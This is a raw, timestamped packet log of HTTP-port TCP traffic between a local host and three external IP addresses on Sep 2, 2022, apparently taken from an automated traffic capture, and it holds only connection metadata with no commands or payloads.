Sep 2, 2022 14:02:20.638262987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638274908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638295889 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638309956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638335943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638348103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638370037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638384104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638411999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638425112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638451099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638470888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638504028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638520956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638550043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638565063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638633013 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638658047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638693094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638709068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638732910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638756990 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638791084 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638806105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638830900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638851881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638885021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638900995 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638947010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638978958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639019012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639029980 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639061928 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639076948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639108896 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639125109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639153957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639170885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639210939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639242887 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639267921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639295101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639333963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639343977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639386892 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639429092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639462948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639480114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639506102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639528036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639569044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639579058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639609098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639624119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639655113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639668941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639697075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639714956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639753103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639764071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639792919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639807940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639832020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639854908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639885902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639899969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639925003 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.639946938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639983892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.639993906 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.640022039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.640613079 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640645981 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640675068 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640690088 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.640702009 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.640713930 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.640750885 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640796900 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.640820980 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640853882 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640868902 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.640897989 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.640918016 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640948057 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.640961885 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.640985966 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641007900 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641038895 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641072989 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641079903 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641113997 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641143084 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641159058 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641185045 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641205072 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641239882 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641271114 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641314030 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641326904 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641354084 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641366959 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641388893 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641411066 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641438007 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641459942 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641474962 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641505003 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641545057 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641555071 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641582012 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641602039 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641640902 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641652107 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641680956 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641697884 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641731024 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641746044 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641773939 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641791105 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641822100 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641836882 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641868114 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641882896 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641925097 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.641952991 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.641997099 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.642019033 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.642062902 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.644469976 CEST	80	49779	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.644516945 CEST	80	49779	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.644536972 CEST	80	49779	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.644579887 CEST	49779	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.644623041 CEST	49779	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.645266056 CEST	80	49781	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.645292044 CEST	80	49781	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.645311117 CEST	80	49781	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.645374060 CEST	49781	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.645426035 CEST	49781	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.658291101 CEST	49766	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.672514915 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672581911 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672595024 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.672625065 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.672662020 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672708035 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672719955 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.672749043 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.672780037 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672827959 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672840118 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.672878027 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.672897100 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672944069 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.672955036 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.672986031 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673012018 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673048973 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673067093 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673099041 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673125982 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673171997 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673183918 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673217058 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673240900 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673285961 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673297882 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673330069 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673355103 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673401117 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673413992 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673451900 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673470020 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673516989 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673540115 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673585892 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673604965 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673643112 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673660040 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673691988 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673717022 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673763990 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673777103 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673806906 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673834085 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673877001 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673894882 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673939943 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.673953056 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.673984051 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.674010038 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.674055099 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.674096107 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.674140930 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.674154043 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.674182892 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.674211025 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.674258947 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.674272060 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.674304008 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.700012922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700052023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700082064 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700095892 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700108051 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700143099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700151920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700180054 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700196028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700226068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700246096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700278997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700300932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700325012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700335979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700366020 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700387001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700417995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700427055 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700454950 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700467110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700501919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700530052 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700546026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700573921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700582981 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700609922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700628042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700650930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700680017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700694084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700697899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700719118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700735092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700758934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700773001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700798035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700805902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700829983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700841904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700865984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700879097 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700902939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700911045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700933933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700944901 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.700968981 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.700979948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701004982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701013088 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701037884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701047897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701075077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701082945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701106071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701116085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701142073 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701148987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701172113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701215982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701241970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701261044 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701282024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701291084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701313972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701327085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701350927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701364994 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701387882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701395988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701421976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701497078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701522112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701539040 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701560020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701570034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701594114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701608896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701628923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701653004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701663971 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701668024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701699018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701725006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701822996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701831102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701855898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701879978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701894999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701908112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701936007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701944113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.701968908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.701992035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702011108 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702033043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702047110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702063084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702080011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702091932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702120066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702133894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702153921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702167988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702194929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702207088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702229023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702241898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702267885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702279091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702306986 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702315092 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702342987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702353001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702377081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702387094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702421904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702449083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702482939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702497959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702526093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702537060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702560902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702570915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702596903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702610970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702630997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702647924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702673912 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702687025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702714920 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.702724934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.702749014 CEST	80	49768	62.204.41.123	192.168.2.6
